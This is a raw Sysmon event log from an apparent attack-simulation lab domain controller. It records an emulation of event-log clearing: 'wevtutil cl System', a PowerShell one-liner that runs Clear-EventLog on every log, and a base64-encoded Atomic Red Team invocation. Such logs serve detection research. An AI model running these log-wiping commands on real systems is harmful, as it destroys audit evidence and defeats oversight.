09:10:56.422{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004281Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004280Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004279Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2920-5F80-DE00-000000007F01}4992C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004278Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.422{A5F018FF-291F-5F80-D700-000000007F01}44244112C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2920-5F80-DE00-000000007F01}4992C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\68e2ec0464aa44f07e8a86705ee0d5c8\Microsoft.PowerShell.Commands.Management.ni.dll+35ffe9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\68e2ec0464aa44f07e8a86705ee0d5c8\Microsoft.PowerShell.Commands.Management.ni.dll+35ffe9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\68e2ec0464aa44f07e8a86705ee0d5c8\Microsoft.PowerShell.Commands.Management.ni.dll+35ffe9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\68e2ec0464aa44f07e8a86705ee0d5c8\Microsoft.PowerShell.Commands.Management.ni.dll+35ffe9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c37b8(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c362c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd145e58(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0bc214(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb75407(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd084a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0e2edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0c63d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0b8356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0f14e6(wow64) 154100x80000000000000004277Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.424{A5F018FF-2920-5F80-DE00-000000007F01}4992C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {$logs = Get-EventLog -List | ForEach-Object {$_.Log} $logs | ForEach-Object {Clear-EventLog -LogName $_ } Get-EventLog -list} C:\Users\ADMINI~1\AppData\Local\Temp\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-291F-5F80-D700-000000007F01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA== 10341000x80000000000000004276Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-2920-5F80-DD00-000000007F01}2728C:\Windows\system32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004275Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004274Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004273Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004272Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004271Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004270Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004269Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004268Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004267Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004266Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2920-5F80-DD00-000000007F01}2728C:\Windows\system32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004265Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.375{A5F018FF-2920-5F80-DC00-000000007F01}28083076C:\Windows\system32\cmd.exe{A5F018FF-2920-5F80-DD00-000000007F01}2728C:\Windows\system32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004264Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.373{A5F018FF-2920-5F80-DD00-000000007F01}2728C:\Windows\System32\wevtutil.exe10.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Eventing Command Line UtilityMicrosoft® Windows® Operating SystemMicrosoft Corporationwevtutil.exewevtutil cl System C:\Users\ADMINI~1\AppData\Local\Temp\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=91803E340A7E7AFDF95A8031F6EF3F3E,SHA256=DCFD99FE08A5D46C52E810FE2F9CC15AC82008975C0A731A11773B11ADE0F3CC,IMPHASH=51FFA3B7FBD1EF82ECE0730B54406E64{A5F018FF-2920-5F80-DC00-000000007F01}2808C:\Windows\System32\cmd.exe"C:\Windows\system32\cmd.exe" /c "wevtutil cl System" 10341000x80000000000000004263Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-291F-5F80-D700-000000007F01}44244112C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2920-5F80-DC00-000000007F01}2808C:\Windows\system32\cmd.exe0x1f3fffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b42a7|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b452d|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3ed3|UNKNOWN(00007FFAA915C2C3) 10341000x80000000000000004262Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-2920-5F80-DC00-000000007F01}2808C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004261Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004260Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:56.360{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004259Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 